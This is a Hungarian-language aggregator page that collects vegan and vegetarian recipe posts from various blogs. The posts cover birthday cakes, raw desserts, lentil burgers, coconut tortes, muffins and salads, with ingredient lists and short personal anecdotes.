Hála a jó égnek, bármennyire is stabilan tartotta magát, lassan a hercegnők elkezdték lenyomni Hello Kittyt a dobogó tetejéről...:-)) (na jó, önmagában Hello Kitty is aranyos, csak kicsit túl sok volt belőle az elmúlt 1 évben:-). Noha már egy éve, a második szülinap óta azt hallgattuk, hogy majd amikor megyek óvodába, Hello Kittyt tortát viszek!, idén egy spanyolcsavarral bekerültek a képbe a balerinák, hercegnők.:-) Na, Kittyke azért nem tűnt el teljesen, a végső megállapodás az volt, hogy az itthoni buliba készüljön hercegnős, az óvodaiba pedig mégis csak Hello Kitty.:-)) Az elmúlt évek egyik legfőbb tapasztalata nálunk az volt, hogy az ünnepelt gyerek a legtöbbször a formát, és a díszítést pontozza, magát a tortát nem túl sűrűn eszi...:-) Illetve a marcipánt ezerrel! A Kicsinél nálunk is nagy marcipán-imádat van mostanság - meg ha már édes, akkor azt én is jobban el bírom viselni, mint a fondantot-, úgyhogy a borítás adta magát. Belül a szokásos piskótát sütöttem meg, most annyi csavarral, hogy Mónika ötlete alapján kombináltam a kakaós és a sima piskótát. Utóbbit vendégeknek idén már leginkább 100% fehér bio liszttel sütöm, mert így érdekes módon mindig elfogy (...), a csokisnál szoktam csalni.:-) A töltelék eperlekvár, csokis és vaníliás puding volt. És a vendégek szerint nagyon finomra sikeredett (el is fogyott), a gyerekek közepes lelkesedéssel fogyasztották.:-) A díszítés leginkább úgy alakult ki, hogy kevés lett a borításra szánt marcipán, elkezdtem toldozni-foltozni, ami elég csúnya lett, így feltettem rá a szalagot. Aztán felül repedezni kezdett a marcipán, oda kerültek a takarásra szánt virágok, cukorgyönggyel a közepén.:-)) A hercegnők közül a hátsó kettő műanyag figura, az első marcipán. A Hello Kitty torta is a tavalyi kókuszos krém után most marcipános borítást kapott, belül az egyszerűség kedvéért ugyanúgy csokis (karobos) és sima piskóta, a töltelék eperlekvár, csokis és vaníliás puding. Csokis-vaníliás Hercegnő, vagy Hello Kitty torta Hozzávalók (egy 28 cm-es tortához): Sima piskóta 250 ml növényi tej (nálam most rizstej) 100 g barna cukor 1/2 citrom leve és héja 1 teáskanál vaníliakivonat250 g bio fehér liszt (vagy fele sima, fele teljes kiőrlésű, vagy 100% teljes kiőrlésű) 1 cs. foszfátmentes borkő sütőpor 1 mk. szódabikarbóna 6 ek. olaj Csokis piskóta 250 ml növényi tej (nálam most rizstej) 100 g barna cukor 1/2 citrom leve és héja 1 teáskanál vaníliakivonat250 g bio fehér liszt (vagy fele sima, fele teljes kiőrlésű, vagy 100% teljes kiőrlésű) + 2 ek. karobpor/ vagy kakaópor 1 cs. foszfátmentes borkő sütőpor 1 mk. szódabikarbóna 6 ek. olaj Vaníliás puding és Csokis puding 1-1 cs. bio pudingpor (vaníliás és csokis) 2-5 ek. nádcukor adagonként 400-400 ml növényi tej (pl. zabtej) Bio eperlekvár Marcipán a borításhoz (kb. 200 g/ torta)/ a rózsaszín marcipánt céklakivonattal színeztem A tésztához összekeverjük a tejet, a cukrot, a vaníliakivonatot, a citromlevet és az olajat, egy másik tálban pedig a lisztet, a sütőport és a szódabikarbónát, majd mind a kettő keveréket vegyítjük egymással. Kókuszzsírral bélelt tepsibe öntjük, és 200 fokra előmelegített sütőben kb. 25 percig sütjük. A krémhez felfőzzük a tejben a cukorral elkevert pudingport, külön a csokist és a vaníliást. A torták összeállítása: Hercegnős - félbe vágjuk mindkét tortalapot. A rétegezés: csokis lap - vaníliás puding - sima piskóta - csokis puding (itt a puding alá kentem lekvárt is) - csokis piskóta - van. puding - a tetejére sima piskóta. Kívülről megkentem lekvárral, és a keményítőn/ vagy nádporcukron kinyújtott marcipánnal borítottam. Hello Kittys: itt csak 3 réteget raktam (csoki-sima piskóta-csoki), a töltelékeket ugyanúgy, mint fent, a formázást, díszítést a tavalyi torta alapján. Pici lekvárral ragasztottam fel az áfonyát és a mazsolát a marcipánra.
Rakott burgonya "füstölt szalonnával"
2011. augusztus 23. A vegán szépség
Ez az étel tökéletes kombinációja a hagyományos magyaros ízeknek, és a vegán konyha friss találékonyságának. Könnyen és gyorsan elkészíthető. Jó étvágyat! :)
Hozzávalók:
-1 kg burgonya
-1 db közepes padlizsán
-1 doboz zabtejszín(Oatly)
-2.5 dl házi kókusztej
-himalaya só, bors, füstölt édes-nemes paprika, tárkony, bazsalikom, szárított petrezselyem, bors
-olíva olaj
-5-6 gerezd fokhagyma
-biomargarin
Balatoni Nyár :) az m1 műsorán a "Főzés nélkül finoman"
2011. július 30. Főzés nélkül finoman!
Ilyenkor nyáron :), na de komolyan nyár van, igaz nem látszik, mert két napja kabátban mentem vásárolni, szóval nyáron az m1 tv csatorna "délelőttjének egy része leköltözik" a Balatonra, és a Balatoni Nyár című műsorral szórakoztat bennünket. Erre a napra csodálatos időt kaptunk a teremtőtől :) Ennek a műsornak a részeként 2011.08.05-én 09.00 - 11.00 óráig a "Főzés nélkül finoman" személyemben meghívást kapott egy kis "főzőcskézésre", - rábólintottam rendben -, de mit eszünk majd? Nézegettem a fejemben meglévő választékot, és a következő menüsor született meg belőle: Receptek: Sárgadinnye-lekváros mandulás ,,süti Hozzávalók 4 személyre: 12 evőkanál darált mandula 4 evőkanál aranymazsola 4 evőkanál kókuszreszelék 4 szelet sárgadinnye (ajánlott 8 felé vágni az egész dinnyét) 4 db nektarin kevés vagy rengeteg fahéj A hántolt (a hántolatlan is kiváló) mandulát durvára őröljük, a sárgadinnyét daraboljuk, és az aranymazsolával pépesre daráljuk, majd a mandulával összekeverjük és félretesszük állni. A nektarinokat kisebb kockára vágjuk. 20-30 perc után a mandulás lekvárunkat összekeverjük a nektarinnal, majd négy kehelybe porciózzuk, fahéjjal, kókuszreszelékkel ízesítjük. Görögdinnye saláta pikánsan Hozzávalók 4 személyre: 4 szelet görögdinnye (ajánlott 8 felé vágni az egész dinnyét) 2 fej lilahagyma 8 evőkanál fekete olívabogyó 2 dl hidegen sajtolt olívaolaj 6-8 friss bazsalikom- és mentalevél kevés rózsaszín Himalája só A héjától megszabadított görögdinnyét ha zavaró akkor kimagozzuk, daraboljuk, a lilahagymát nagyolva összevágjuk, a bazsalikom- és mentaleveleket aprítjuk, sózzuk és bőségesen meglocsoljuk olívaolajjal vagy szőlőmagolajjal, majd az egészet az olívabogyóval összekeverjük (vigyázzunk a dinnyét ne törjük össze). Petrezselymes sárgarépa-pástétom magyarosan Pirított tönkölykenyér vagy zöldséges durumtészta Hozzávalók 4 személyre: 4 db sárgarépa 1 csokor petrezselyem 4 db paradicsom 4 evőkanál mandula 1/2 pár füstölt gabonakolbász 2 dl olívaolaj 1/2 kg tönkölykenyér vagy zöldséges durumtészta kevés rózsaszín Himalája só A sárgarépát kisebb darabokra vágjuk, ezzel a kíméljük a darálónkat, vagy a turmixgépet, a petrezselymet, paradicsomot is apríthatjuk előre, és a mandulát is elődarálhatjuk, majd hozzáadva az olajat, gabonakolbászt, sót krémesre daráljuk az egészet. Erősebb készülékeknél a receptben felsoroltakat együtt pépesítjük. Pirított tönkölykenyérre kenve tálaljuk vagy durumtésztára szószként (tésztához adva ajánlott egy kicsivel több olajat használni). Szeretettel várlak benneteket a képernyő elé a fent megadott időben, egy kis közös "főzőcskére", kikapcsolódásra, ha elfoglaltságod vagy munka miatt nincs lehetőséget élőben nyomon követni a műsort, később is megnézheted majd az m1 videotárjában. (12perc 12 mp; 63 perc 53 mp :) Szeretet teljes öleléssel: Javed
Sötét gyümölcsök reggelire, és egy röpke beszámoló
2011. július 13. Napló étkeinkről, életünkről
josta, meggy, fekete ribizliMa reggel, fél 6-kor kimentem a kertbe, hogy szedjek magamnak reggelit, és valahogy úgy alakult, hogy csupa sötét színű gyümölcs akadt a kezembe! Persze, lehet, hogy ez nem véletlen, hiszen pillanatnyilag ezek a kedvenceim. Ezen kívül van piros, és fehér ribizlink is, de azt majd leszedem a családnak... Ebédem a tegnapi maradék lesz, kukorica saláta, illetve zsenge tök szeletek napraforgó-körözöttel. Úgy tűnik, ezek a találkozók mindig érdekesen alakulnak, tegnap például találkoztam egy asszonnyal, akinek ikrei az én lányommal jártak egy bölcsődébe, és utcai jóslásból szerzi pénzét. Figyelemmel kísértem, amit mondott, és nagyon jól forgatta a szavait a tőlem kapott információkkal fűszerezve, de egyébként amit magától talált ki, semmi nem volt helyes! Az ételek összeállításánál most a rövid elkészítési idő játszott fontos szerepet, mert egy röpke este, és hajnal állt rendelkezésre. A mazsolát a golyókhoz, és a napraforgót a körözötthöz kellett előre beáztatnom, a többi étek rögtön készíthető volt. Most nem volt aszalvány a menüben a hőség miatt. Bár a tálalás nem szép, hiszen biciklin úgyse maradt volna meg, fiam szerint a körözött jobb volt, mint amit Apa csinált. És ez nagy dolog, mert amikor dió-körözöttet, és hajdina-kolbászt vittem nyersétel-találkozóra, párom ízesítette, ez is hozzájárult sikeréhez :-) És ez volt a menü: - kukorica saláta kápia paprikával, uborkával és néhány szem tökmaggal - napraforgó-körözött tök, uborka, és paprika szeleteken - mákos-mazsolás sárgabarack puding - mazsolás, mandulás kókuszgolyó Ezek az ételek nem tartalmaztak hozzáadott édesítőt (méz, különböző szirupok), se plusz zsiradékot, ami például a candida diétában, és a cukorbetegségnél fontos. A szállítást ebben a hőségben úgy oldottam meg, hogy a fonottkosár aljára jégakkuk kerültek, ami biztosította a hűtést. Találkozó legközelebb augusztusban, időpont még nincs, nekem hétköznap jó, ha van javaslatotok, írjatok ide: hneszilvi@freemail.hu
Kókusztejes csokoládés jégkrém
2011. június 20. Csatni és Umeboshi: Jógakonyha
Ismét egy indiai inspiráció, a múltkori kókusztejes csokipuding hatására. Gyereknek készült, megpróbáltam egészséges alapokra építkezni: kókusztej, méz (vagy rizsszirup, vagy agave stb.) étcsokoládé + kefír, vagy joghurt. Recept a Marmalade-on!
Ohagi, édes rizsgolyók
2011. május 3. Csatni és Umeboshi: Jógakonyha
A makrobiotikus étrend sem nélkülözi az édes ízeket, az édességet, csupán az alapnyagokat kell jól megválogatni hozzá. Az ohagi, egy hagyományos japán recept aprószemű főtt édes rizsből készítik - ez alkalmanként a makrobiotikában is megengedett -, kicsi golyókat formáznak belőle, majd diófélékkel, apróra tördelt magokkal, vagy adzukiba-krémmel vonják be. Most kókuszreszelél illetve pirított szezémmag lett a bundája. Fanatikusabbaknak barna rizsből is készíthető. Hozzávalók: 2 bögre aprószemű édes fehér rizs, csipetnyi só, 1-2 evőkanál rizsszirup. Főzzük puhára a rizst. Mozsárral zúzzuk szét, hogy krémes állagú legyen. Ízesítsük rizssziruppal. Formázzunk belőle diónyi méretű golyókat, majd hempergessük meg ízlés szerint szezámmagban, vagy kókuszreszelékben.
Bolgár sültpaprikasaláta
2010. december 31. Vera vega konyhája
Lehet, hogy egyáltalán nem bolgár ez a paprikasaláta, de gyerekkoromban volt a családnak egy bolgár barátja, és ő készített rendszeresen paprikasalátát. Akkoriban persze nem kaliforniai, hanem zöld paprikából, nem olívaolajjal, hanem napraforgóolajjal, és nem balzsamecettel, hanem ételecettel. Ismét itthon töltjük a szilvesztert a gyerekekkel, családi bulit rendezünk. Trombitálunk, lakmározunk, vidámkodunk. Ezeket készítettem ma estére: - korhelysaláta - waldorf saláta - paradicsomos padlizsánsaláta - ez a sültpaprikasaláta - olajbogyós kiflik - és még talán egy brownie is belefér, Zizi receptje alapján. Hozzávalók: piros kaliforniai paprika olívaolaj balzsamecet fokhagyma A paprikákat 200 fokos sütőben 30-40 perc alatt minden oldalukon feketére sütöttem. Kivéve egy műanyag dobozba zártam őket pár percre, így a héjukat könnyen le tudtam húzni. Kis darabokra vágtam, majd meglocsoltam egy kevés olívaolajjal, balzsamecettel és összenyomott fokhagymát kevertem hozzá. Akkor finom, ha tálalás előtt hagyjuk érni. Kívánok minden kedves olvasómnak BOLDOG ÚJ ESZTENDŐT!!!
Kokuszkremmel toltott mandulatorta
2010. november 14. CsemetEledel
Attol fuggetlenul, hogy mar majdnem nyul vagyok, a csaladomat rendszeresen meglepem edessegekkel is. Hugo miota ezt megkostolta, minden nap- Csokitortat!!! szeretne(o igy hivja) Nem vagyok jo sutesbol, de ez igazan jol sikerult, ezert merem megosztani veletek. Nem sok olyan gyerek lesz szerintem akinek nem izlik majd. A torta alapotletet Vera baratnom Madridbol adta, ahol volt szerencsem ennek egy joghurtos-kremsajtos teteju rokonat megkostolnom es azota torom a fejem hogyan lehetne azt a nyamvadt egy tojast is kihagyni belole.(mert nem jo az nekunk es akkor vegan lenne) Ha van valakinek otlete, szoljon :) A tortahoz: -1 biotojas -10dkg nadcukor(porra orolve) (xilittel is lehet) -pici so -10 dkg natur mandula porra orolve( pl kavedaraloban) -10-15 deka feher es teljes kiorlesu tonkolyliszt kevereke -1 kk sutopor -1 csapott kk szodabikarbona - 1 dl kokusztej(konzerv, de lehet helyette natur joghurt is) -2 ek kokuszreszelek -1 ek natur kakopor -3-4 ek repceolaj a kremhez: -fel csomag alnatura vanilias pudingpor -2 dl kokusztej -1 dl viz -2 ek kokuszreszelek -3 ek nadcukor(poritva) a mazhoz: -3 ek kakopor(natur) -4 ek nadcukor(por) -2 ek novenyi margarin(bio) -3 ek kokusztej A tojast a cukorral pici soval vagy 5-10 percig legmagasabb fokozaton robotgeppel kifeheredesig habositjuk. A lisztet, a porra orolt mandulat kulon talban osszekeverjuk a sutoporral, a szodabikarbonaval, kokuszreszelekkel kakaoval es jol elkeverjuk. A cukros tojasos keverekhez adjuk a kokusztejet(joghurtot) az olajat robotgeppel lasssu fokozaton keverjuk, majd aprankent adagoljuk a lisztes kevereket, mig egy suru, homogen masszat nem kapunk. ha vkinek tul suru, pici olajjal, vagy kokusztejjel lehet lazitani rajta. 180 fokra elomelegitett sutobe, margarinos kilisztezett tortaformaba vagy piteformaba ontjuk es 20-25 perc alatt tuprobaig sutjuk. kivesszuk, es felretesszuk hulni. A kokusztejet a vizzel felforraljuk a pudingport, a cukrot es nemi kokusztejjel csomomentesre keverunk. a kokusztejes vizes forralt folyadekot felreteszuk es aprankent kavargatva beleontjuk a pudingporos cukros masszat, ugyanugy mintha pudingot keszitenenk. Ha besurusodott beleszorjuk a reszeleket is, es hagyjuk kihulni. Ha a tortank kihult egy cerna segitsegevel felbevagjuk, megkenjuk a kokuszkremmel, a tetejet visszahelyezzuk. Jon a csokimaz. Lassu tuzon a kakaot a kokusztejet es a cukrot osszeolvasztjuk es amikor homogen, levesszuk a tuzrol. belekeverjuk a margarint, addig mig egy olvad laza folyos csokimasszat nem kapunk. kirakjuk hulni az erkelyre ot percre es utana szepen egyenletesen eloszlatjuk a torta tetejen. A csokimaz megszilardulasa utan szeleteljuk es megesszuk. Mind egy szalig :)) Ha vki nem akar a kokuszkremmel bajlodni, akkor kihagyhatja. Mondjuk nem tart tobbet egy puding elkeszitesenel. Bar a torta szetvagasa tartogathat nemi meglepetest es ketsegtelenul rizikos vallalkozas. A kokusztejben egyebkent rengeteg lehetoseg rejlik en most kiserletezem vele, minel szelesebb koru felhasznalasat illetoleg. A kokusz izt nem lehet megunni. Foleg csokival. Jo etvagyat!:)
Lencseburger thai mogyorószószos salátával
2010. november 7. CsemetEledel
Íme egy nagyon egyszerű, tápláló, és könnyű vacsorarecept. A saláta pedig nagy valószínűséggel lesz a gyermekek kedvence, hiszen édes, mézes, kókuszos szósszal készült. A burgert sajnos, amúgy is szeretik. Ha viszont ezt a lencseburgert adjuk neki, biztosak lehetünk abban, hogy nem lesz benne műanyag, halott mindenféle állati maradvány, és durva szilikonszármazék(mint a mekisekben) . Ezzel szemben tele van esszenciális aminosavakkal, magas tápértékű fehérjével, és vitaminokkal. Nem hízlal, nem egészségtelen, és nem is olajban sült. És miért ne rághatna egy egyéves fejessalátát? a burgerhez: -1 bögre vöröslencse -1 kaliforniai paprika -1fej vöröshagyma -1-2 gerezd fokhagyma -só, bors, vegamix, babérlevél -4-6 koktélparadicsom -juharszirup, vagy méz -balzsam ecet, vagy alma ecet salátához: -1 kisebb fej fejessaláta, vagy iceberg(jég) saláta, esetleg nagyobbaknak rukkola, vagy keverve, ahogy én készítettem most. -6-7 koktélparadicsom a szószhoz: -egy marék kesu dió, meg egy marék földimogyoró (én még makadámia diót is raktam bele) -4 evőkanál kókusztej -3 evőkanál méz vagy juharszirup -(felnőtteknek chili paprika) -1/2 citrom, vagy lime leve A mogyorót és a kesu diót beáztatom 1-2 órára annyi vízbe, hogy bőven ellepje. A lencsét megmosom, és kevés sós vízben felteszem főni. A vörös lencse nagyon gyorsan puhul, így áztatás nélkül is kész lesz 1o-15 perc alatt. Babérlevéllel felteszem főni. Addig apróra kockázom a hagymát a paprikát és a paradicsomot, megpucolom a fokhagymát. A hagymát kevés olíván üvegesre párolom, majd ha kész beleteszem a préselt fokhagymát 1-2 percig pirítom. Rádobom a paprikát és kb 1o perc múlva a paradicsomot, sózzuk borsozzuk, vegamixet adunk hozzá(ízlés szerint). Ha ez kész és a lencsénk is megfőtt, lecsepegtetjük, és aprítógépben vagy mixerben 1 perc alatt lepürésítjük. A pürét a hagymás pörköltalapba forgatjuk, és kb 5 percig összesütjük. a juharszirupot és az ecetet a végén keverjük bele(ízlés szerint). Félretesszük hűlni. A salátát leveleire szedjük, összevágjuk, majd megmossuk, és ha van salátacentrifugánk(érdemes beruházni) megszabadítjuk a víztől, majd egy nagy, mély salátástálba helyezzük. A koktélparadicsomokat négyfelé vágjuk, és hozzáadjuk a salátához. A mogyoróról dióról leöntjük a vizet és az aprítóba helyezzük őket. Hozzáadjuk a kókusztejet, a citomlevet, mézet, kevés sót(chilit, nem gyerekes verziónál). 1 perc alatt összeturmixoljuk , hogy egy apró mogyoródarabos mártogatós szósz állagú dip-et kapjunk. Ezt a szószt ráöntjük a salátakeverékre, és jó alaposan összekeverjük, hogy a szósz mindenhová jusson. Közben a langyosra hűlt, és a lencse keményítőtartalmának köszönhetően összeállt masszából pogácsákat formálunk és teljes kiőrlésű zsemle, vagy magvaspirítós közé helyezzük, salátával tálaljuk. Jó étvágyat! :) tipp : ha gyermekünk allergiás a mogyorófélékre, akkor az természetesen hagyjuk ki.
szedres kosárka no2
hétvégén edináéknál jártam balatonon. egy maroknyi kedves ember, zöldebbnél zöldebb levek, rengeteg friss, helyi gyümölcs, zöldségek a kertből, jó beszélgetések, és persze az elmaradhatatlan: nyers édességek. málnás kosárkák is készültek, az eredeti tervtől persze megint eltérve, de ezt senki sem bánta. gondoltam, elkészítem újból a fotózás kedvéért, de a végeredmény megint más lett.. a málnás krémen könnyíteni szerettem volna egy kicsit, így a kesu-málna-kakaóvaj helyett először egy gyümölcsréteget csináltam, erre jött a szerdes kesukrém. a körtés gyömbéres kosárkák készítésekor megmaradt pár alapom, ezt használtam fel most. összességében talán kicsit dominált a savanyú íz, ezért a bogyós desszertekhez inkább datolyás alapot fogok használni, a határozottabb mazsolás-kakaósat meghagyom a simább, lágyabb krémekhez. alsó réteg: az átpasszírozott szedret utifű maghéjjal kevertem el - 4 kosárkához kb 1-1.5 dl szederpép, 3 tk utifű maggal. (igen, ez nem egy hatalmas adag, de nem kell belőle sokat enni, másrészt az ilyesmi nem szeret sokáig a hűtőben állni, 1-2 nap után elszíneződik, bőrösödik a krém, frissen jó igazán. 4 kis kosárka pedig pontosan 4 főre elég, tehát nem is olyan kevés!) felső réteg: egy kis marék kesut néhány tk szederpéppel és egy tk kókuszvajjal kevertem sűrű krémmé, ezt simítottam a 4 kosárka tetejére. pici mézet is tettem hozzá, de ha elég édes a szeder, erre nincs szükség.
gianduiás-kakaóbabos trüffel, rózsavizes hógolyó
nyers, egész kakaóbab, az új szerelem. a gianduia pedig a régi, és nem kell választanom a kettő között :) belső réteg: törökmogyoró (áztatva, szárítva, krémesre darálva) méz külső réteg: törökmogyoró kesudió méz nyers kakaó kívül: kakaóbabtöret és egy leheletnyi keleti hangulat kedvéért: rózsavíz. hát jó, ez a poszt egy kicsit szentimentálisra sikerült.. hógolyók: kókuszreszelék kesudió (kb 1:2 arányban, krémmé őrölve) méz citromlé rózsavíz kókuszolaj és utifű maghéj kókuszreszelék a forgatáshoz sok citromot és rózsavizet használtam, hogy ezek az ízek domináljanak, de ettől elég híg lett a massza. egy kevés utifű maghéjtól és kókuszolajtól viszont szépen összeállt.
Júliusi Kifőztük!
2010. július 4. KryaSpirit-Vegalife
Azt hiszem a magazin júliusi számában sem csalódik az, aki letölti magának a www.kifoztuk.hu oldalról. Tőlem még mindig lúgosító recepteket várhattok, melyek között helyet kapott egy kókusztejes nyers meggyleves kesudió galuskával, de a főzés szerelmeseinek is van jónéhány recept. Szerkesztőtársaimnál is érdemes körülnézni, mert számos salátát és húsmentes ételt találtok a vega-reform rovaton túl is! Íme néhány fotó az általam készített ételekről:
Jó regglet kása
2010. június 21. Legyen néktek eledelül...
Meglepően letisztul, de finom recepte. Pár alapanyagból, hihetetlen micsoda ízkavalkádot lehet varázsolni. Frissítő citromos laktató reggeli. Valószínű ma sem 20 perc alatt készül el a reggelink, ha nincs a pelyhesítő, amivel kezeltem a rizst főzés előtt, hisz a barnarizs nagyon nagyon lassan főne meg egyébként.. Datolyából kétszerannyit ratkam mint amennyit a recept ír, de így sem mondanám túl édesenke. (evésnél csempésztünk bele a tegnap este készült kókuszos granolából is egy picit) Bionarancsot nem kaptunk sajnos, így citromhéjj került belel jobbhíjján, de így is tökéletes reggelit biztosított. Hosszú idő óta főtt megint ilyen igazi reggeli itthon, de ezt aki követi a blogot sejtheti. Elég nagy pocakom van már, és olyan könnyen elcsábulok a lustálkodás irányába, pedig augusztus végéig még sok idő van. Ma megtört a jég, és újra finom falatok, és amennyire tőlem telik szép fotók készülnek a konyhámban, és nem utolsó sorban, élményteli posztok a blogba. Köszönöm ha kivártátok hogy visszatérjek, remélem többet nem fogok így eltünni igazolatlanul.:)
Kókuszos ricottatorta Kati kedvére
2009. szeptember 5. La Cuisine d'Adéle
Kati barátnőm születésnapja, csokis-kókuszos ízek iránti rajongása, no meg persze Dolce Vita kekszes tortái és azok közül a ricottás-narancsos Anyu névnapján nagy sikerrel debütált változata ihlette ezt a tortát. A kókusznak: ízének, illatának, zamatának én is lelkes rajongója vagyok, így foglalkoztatott már a gondolat egy ideje, hogyan lehetne mindezt egy mutatós, egyszerűen és gyorsan elkészíthető, mégis könnyű (nem vajas vagy túlságosan édes) desszertben megfogalmazni. Dolce Vita kekszes tortái adták meg a végső lökést, inspirációt. Végeredményként egy igazán mutatós - szerintem gyönyörű a hófehér, már-már habos kókuszos krém és a mélybarna kekszes alap kontrasztja - kellemesen kókuszos, remekül szeletelhető, villámgyorsan elkészíthető, nem túl édes és egészen könnyű desszert sikeredett... Kókuszos ricottatorta Hozzávalók: (egy 18 cm-es tortaformához) 15 dkg teljes kiőrlésű kakaós keksz (Győri Édest használtam) 50 dkg ricotta 8 dkg vaj (biót használtam) 9 dkg kókuszreszelék (bio volt ez is) 4 dkg kókusztejpor (Vegabond natúr termék) 5 dkg méz (termelőtől vásárolt akácmézet használtam) Elkészítés: Késes robotgépben porrá zúztam a kekszet. Alaposan összedolgoztam a megolvasztott vajjal, majd a tortaforma aljába lapogattam, úgy hogy homogén ,,tésztát kapjak. A ricottát kikevertem a kókuszreszelékkel, a kókusztejporral és a mézzel. A kókuszos ricottakrémet a kekszes alapra simítottam. Egy éjszakát pihent a hűtőben, de biztos vagyok benne, hogy néhány óra állás után már nyugodtan szeletelhető. Vékonypengéjű késsel óvatosan körbevágtam a tortát, mielőtt lekapcsoltam róla a formát.
3+1 isteni csigavariáció, ha már unod a kakaósat
2025. február 21. Prove - a világ vegán szemmel
A minden pékségben kapható kakaós csiga igazi klasszikus, és szinte minden édesszájú kedvence, de néha jólesik egy kis változatosság. Szerencsére számtalan más izgalmas variációja létezik, amelyek ugyanolyan omlósak, illatosak és isteniek lehetnek. Kevés rosszabb dolog van a kiszáradt péksüteményeknél, amelyeket munkából hazafelé, zárás előtt pár perccel kapsz le a boltban a polcról. Ezek az édes… The post 3+1 isteni csigavariáció, ha már unod a kakaósat appeared first on Prove.hu.
Vegán „mézes” sütemény
Mézes süti vegánoknak, méz nélkül? Igen! Ráadásul egy fenséges Naked Noble krémmel és aszalványokkal, olajos magvakkal bolondítottam meg. Mutatom is a receptet: Hozzávalók: 20 dkg teljes őrlésű tönkölyliszt 20 dkg finomliszt 4 ek. datolyaszirup vagy rizsszirup 1 kk. szódabikarbóna 1 kk sütőpor 1 ek. ek frissen facsart citromlé 1 dl olvasztott Nature Cookta kókuszolaj — 2 üveg Naked […]
Vegán, gluténmentes málnás-csokis brownie
Ez a süti egy igazán finom, karácsonyi csemege is lehet, ha meglocsoljuk a tetejét olvasztott csokival vagy akár a Naked Noble Málnás étcsokoládékrémjével. Hozzávalók: 20 dkg Nature Cookta eritrit 10 dkg holland kakaópor 1,2 dl Nature Cookta kókuszolaj 1/2 tk. sütőpor 2 csomag vaníliás cukor 10 dkg Nature Cookta gesztenyeliszt 10 dkg Nature Cookta mandulaliszt […]
Indiai joghurtos krumplisaláta
Hozzávalók: 80 dkg főtt krumpli 3 ek olaj 2 kk fekete mustármag 2 kk felezett, hántolt urad dhal (elhagyható) fél zöld erős paprika apróra vágva (ízlés szerint) 2 ek kókuszreszelék 1 ek reszelt friss gyömbér 1/2 kk aszafoetida 1,5 kk őrölt római kömény 6 dl joghurt 2,5 kk só egy kisebb csokor korianderzöld felaprítva A héjában főtt krumplit kihűlés után megpucoljuk és felkockázzuk. Egy lábosban felmelegítjük az olajat, pattogásig pirítjuk benne a fekete mustármagot. Beleszórjuk az urad dhált, és amikor pirulni kezd, jöhet a zöld erőspaprika, a kókuszreszelék és a gyömbér. Rövid kevergetés után pedig az aszafoetidát és a római köményt is beleszórjuk. Levesszük a tűzről, majd belekeverjük a joghurtot és a krumplit, megsózzuk, beleforgatjuk a zöldfűszert. Egy-két órán át állni hagyjuk, hogy az ízek összeérjenek.
Kukoricadarás sajttorta
2024. augusztus 22. Vegán receptek Tőlünk Nektek
Még egy ötlet Annától
Hozzávalók:
- 1 nagyobb főzőtök -a tököt meg kell főzni ( most gyalultan vettem, azt főztem ki- nem turmixoltam utána) nem teljesen szétfőzve! és utána pür?síteni (leginkább csak keverni ezekkel:
- 10 dkg cukor
- vanília
- citromh?j és citromlé
- másfél (400 ml esből, tehát 600 ml) kókusztejkonzerv (raktam vele egy dm 400 ml bio kókusztejet meg egy kara tejszínt)
- 2 teáskanál útifűmagh?j, (ez lehet 1-2 evőkanál is)
- 4 nagy evőkanál kukorica dara (lehet 8 ek) (nekem nagyon leves volt, uh több darát tettem sokkal, a dmBio kukoricadara kb fele belement)
- 2 nagy evőkanál kukoricakeményítő
- Kurkumát tettem még bele, de nem muszáj
Kivajaztam és kukorica darával körbebéleltem a tepsit. Alul vegán keksz összedarálva és alssan vajjal kikeverve (a másikat még áztatott datolyamasszával krémesítettem) és ezt nyomkodtam a tortaforma aljára.
Sütési idő: 180 fokon kb. 1 óra
Másik verzió: a másik alá datolyás kekszet tettem, vajjal, meg rászórtam kukorica corn flakest.. végén datolyaszirppal...na ez még durvább lett :)
Jó Étvágyat!
Gluténmentes szilvás quinoa muffin
2024. augusztus 10. Élj harmóniában
Megkezdődött a szilva szezon... imádjuk :) bármilyen változatban és variációban készíthető :) Ezt a muffint quinoaliszttel és datolyacukorral készítettem. A cél egy fehérjében gazdag, egészséges, ízletes, a szilvához ízben is jól passzoló muffin készítése volt. Úgy vélem sikerült... nekünk nagyon bejött:) Gluténmentes szilvás quinoa muffin Hozzávalók 2,5 csésze quinoa liszt 1 csésze datolyacukor 1/2 csg. sütőpor vanília vanília fahéj 7 ek. kókuszzsír 12 db szilva víz Vegyszermentes (bio) alapanyagokat használj! A szilvákat mosd meg és távolítsd el a magokat. Keverd össze a száraz hozzávalókat egy tálba. Majd öntsd hozzá a kókuszzsírt és a vizet. Figyelj rá mennyi vizet vesz fel - a tészta legyen lágy, de ne folyós. A quinoa liszt több vizet vesz fel, így több csésze vízre lehet szükséged. Néhány lágy mozdulattal dolgozd össze a tésztát. A muffin készítés egyik titka, hogy soha ne kevergesd hosszan a száraz összetevőket a nedvesekkel és ne hagyd sokáig állni. Adagold a tésztát a muffin formába. Én muffin papírral szoktam a formát kibélelni, de vajjal és liszttel is megteheted. A muffinok közepébe dugj bele egy-egy szilvát. Tedd 180 fokra előmelegített sütőbe és süsd készre (kb. 25 p) . Sajnos a papírból nem jött ki szépen, de a tészta szépen összeállt, nem morzsálódik. Legközelebb csak zsírozott, lisztezett formában sütöm :) Ha szeretnél az Egészséges és tudatos táplálkozásról többet tudni, szeretettel várlak Egészséges táplálkozás és főzőtanfolyamomra. https://www.eljharmoniaban.hu/tudatos-taplalkozas Jó étvágyat kívánok:) szeretettel: Kati #gluténmentes, #szilvás, #szilva #recept #vegán #vegetáriánus #quinoaliszt, #muffin, #cukormentes, #egészséges, #tojásmentes
Vegán kétszínes sajttorta
Hozzávalók: Kekszes réteghez: 15 dkg csokis vegán zabkeksz 5 dkg kókuszolaj Fehér réteghez: 25 dkg vegán mascarpone 5 dk fehér csokoládé 1,5 dl vegán habtejszín eritrit vagy stevia – ízlés szerint 2 g agar-agar Barna réteghez: 25 dkg vegán mascarpone 5 dk vegán nutella 1,5 dl vegán habtejszín eritrit vagy stevia – ízlés szerint 2 […]
Epres crumble
Gyors, egyszerű, egészséges, finom. Kell ennél több? ? Hozzávalók: 15 ek apró szemű zabpehely 15 ek zabliszt (vagy 30 dkg kávédarálón durvára darált zabpehely) 1 csipet só 2 csomag cukormentes vaníliás cukor 1 ek. fahéj 6 ek. barna cukor vagy eritrit 6 ek. kókuszolaj vagy olaj — kb. 1/2 kg eper 2 ek. keményítő 6 ek. barna cukor […]
Kókusztejes, csicseriborsós ragu - vegán, gluténmentes recept
2024. január 20. Prove - a világ vegán szemmel
